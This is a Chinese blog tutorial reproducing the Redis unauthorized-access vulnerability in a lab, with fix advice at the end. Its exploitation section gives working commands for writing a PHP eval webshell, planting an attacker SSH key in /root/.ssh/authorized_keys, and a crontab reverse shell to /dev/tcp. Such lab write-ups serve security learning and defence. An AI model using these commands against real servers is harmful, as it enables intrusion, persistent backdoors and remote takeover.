zoukankan      html  css  js  c++  java
  • Redis未授权漏洞复现及利用方式总结

    一、漏洞简介及影响

    1. 什么是redis未授权访问漏洞?

      Redis安装后,默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

      总结来说,就是以下两点:

    (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

    (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

    2. 漏洞可能产生的危害

    (1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行 flushall 来清空所有数据;

    (2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

    (3)最严重的情况,如果 Redis 以 root 身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    3. 漏洞的影响版本

    Redis 2.x,3.x,4.x,5.x

    二、前期准备工作

    1. SSH免密登录原理

      在正式复现之前,先说明一下SSH免密登录的原理,因为这个也是危害最大的一个。

      SSH提供两种登录验证方式:一种是口令验证也就是账号密码登录,另一种是密钥验证,这里只简单说一下密钥验证的原理。

      所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

    (1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;

    (2)客户端发起公钥认证请求,发送自己的相关信息;

    (3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录;若有则使用该公钥对一个随机的256位的字符串进行加密,并发送给客户端;

    (4)客户端收到服务器发来的加密后的消息后使用私钥解密,并生成一个MD5值发送给服务器端;

    (5)服务器端根据原始随机字符串生成MD5值进行匹配, 确认客户端身份,若一样则允许登录,不一样则拒绝登录。

      至此, 双方互相确认对方身份并建立加密信道, 可以正式进行安全通信。

    image-20211011145218133

    2. 漏洞环境搭建

    环境准备

    • 两台主机:(攻击机Kali Linux,靶机Ubuntu 16.04.1)
    • 源码包:redis-3.2.11.tar.gz

    0X01 安装Redis服务

    (1)从官网下载Redis源码压缩包

    wget http://download.redis.io/releases/redis-3.2.11.tar.gz
    

    image-20211013105544214

    (2)解压压缩包

    tar xzf redis-3.2.11.tar.gz
    

    image-20211013105851066

    (3)进入安装目录,编译执行

    cd redis-3.2.11
    make
    

    image-20211013110343090

    出现如下则编译成功。

    image-20211013110650985

    (4)拷贝redis-serverredis-cli拷贝到/usr/bin目录

    cd src
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    

    image-20211013111201629

    这样做的目的就是方便以后使用该命令时,不必每次都进入安装目录,有点类似于windows下面配置环境变量

    (5)启动服务,修改配置文件

    redis-server
    

    image-20211013111819283

    返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

    cp redis.conf /etc/
    

    编辑/etc/redis.conf文件,

    vim /etc/redis.conf
    

    在该行前面增加#,注释ip绑定,允许除本地外的主机远程登录redis服务

    image-20211013112427108

    关闭保护模式,将yes改为no,允许远程连接redis服务

    image-20211013112732938

    (6)使用修改过后的配置文件启动Redis服务

    redis-server /etc/redis.conf
    

    image-20211013113029003

    0X02 安装SSH服务

      由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动,需使用systemctl start sshd命令启动ssh服务。

      最后我们再将上述步骤在kali里面重新布置一次,使 kali 和 Ubuntu 都安装redis服务。

      至此,我们的准备工作就完成了。此时的redis服务是可以以root用户身份远程免密码登录的。

    三、未授权访问漏洞复现

    (1)查看IP地址,设定Kali为攻击机Ubuntu为受害机

    image-20211021111122451

    (2)保证两台虚拟机能够互通

    image-20211021112542261

    接下来,直接使用redis客户端直接无账号成功登录redis:

    image-20211021113851560

    从登录的结果可以看出该redis服务已经对公网开放,且未启用认证。

    1. 利用redis写webshell

    利用条件:

    1. 目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)
    2. 需要具有读写增删改查权限

    在这里,我们直接把shell写入到网站根目录下(/var/www/html/)

    config set dir /var/www/html/
    config set dbfilename shell.php
    set webshell "<?php phpinfo();?>"
    save
    

    image-20211021115622540

    shell写入完成,我们去靶机上证明:

    image-20211021120328576

    成功写入shell。

    注意:

    在写入webshell的时候,可以使用: 来换行,有些redis版本写文件会自带一些版本文件,可能导致无法解析。

    set shell "
    
    <?php phpinfo();?>
    
    "
    

    小技巧:

    当数据库过大时,redis写shell:

    <?php 
    set_time_limit(0);
    $fp=fopen('bmjoker.php','w');
    fwrite($fp,'<?php @eval($_POST["bmjoker"]);?>');
    exit();
    ?>
    

    2.写入SSH公钥实现SSH登录

    原理:

    在数据库中插入一条数据,将本机的公钥作为value,key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

    (1)在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(若是靶机使用过ssh服务,则会自动生成/root/.ssh文件目录

    (2)在攻击机中生成ssh公钥和私钥,密码设置为空:

    ssh-keygen -t rsa
    

    image-20211021143527033

    (3)进入.ssh目录:cd .ssh/,将生成的公钥保存到pub_key.txt

    (echo -e "
    
    ";cat id_rsa.pub;echo -e "
    
    ")>pub_key.txt
    

    image-20211021144137921

    (4)将保存的pub_key.txt文件内容写入redis。

    cat /root/.ssh/pub_key.txt | redis-cli -h 192.168.26.133 -x set pub
    

    image-20211021145328813

    (5)设置redis的备份路径为:/root/.ssh/

    使用CONFIG GET dir可查看当前备份路径。

    image-20211021145844202

    修改备份路径为ssh公钥存放目录(默认为/root/.ssh/):

    image-20211021150128764

    (6)设置上传公钥的备份文件名为:authorized_keys

    CONFIG SET dbfilename authorized_keys
    

    image-20211021150607067

    (7)至此成功写入ssh公钥到靶机。测试ssh免密登录。

    image-20211021151052956

    OK,成功利用私钥登录redis服务器!

    3.利用crontab反弹shell

    权限足够的情况下,利用redis写入文件到计划任务目录下执行。

    (1)在攻击机监听端口(未被占用)

    nc -lnvp 1234
    

    image-20211021152439028

    (2)连接redis服务器,写入反弹shell。

    SET xxx "
    
    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.26.120/1234 0>&1
    
    "
    CONFIG SET dir /var/spool/cron
    CONFIG SET dbfilename root
    save
    

    image-20211021153046661

    ......经过一分钟左右就可以收到shell

    四、修复建议

    1. 限制登录IP,采用绑定IP的方式来进行控制。

    redis.conf文件找到如下配置

    # If you want you can bind a single interface, if the bind option is not
    # specified all the interfaces will listen for incoming connections.
    #
    # bind 127.0.0.1
    

    把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,难免有多台机器访问一个redis服务。

    2. 设置密码,以提供远程登陆。

    打开redis.conf配置文件,找到requirepass,然后修改如下:

    requirepass yourpassword
    yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
      
    命令如下:
    redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
    keys * //输出服务器中的所有key
    报错如下
    (error) ERR operation not permitted
      
    这时候你可以用授权命令进行授权,就不报错了
    
    命令如下:
    auth youpassword
    

    参考文章

    redis安装: https://www.jianshu.com/p/2f53c9a4b4c6

    Linux定时任务Crontab使用:https://blog.csdn.net/qlp3643_1/article/details/51524780
    Redis缓存:https://www.cnblogs.com/llaq/p/9470055.html

    Redis未授权访问漏洞复现:

      https://www.cnblogs.com/yuzly/p/11663822.html
      https://zhuanlan.zhihu.com/p/46467265
      https://www.cnblogs.com/bmjoker/p/9548962.html

  • 相关阅读:
    12、SpringBoot-CRUD增加数据
    12、SpringBoot-CRUD增加数据
    Cache操作类
    pythonhttp
    python学习
    自动化测试LoadRunner
    pythonweb自动化测试
    python学习工具篇
    python学习
    自动化测试之python安装
  • 原文地址:https://www.cnblogs.com/ruoli-s/p/15437688.html
Copyright © 2011-2022 走看看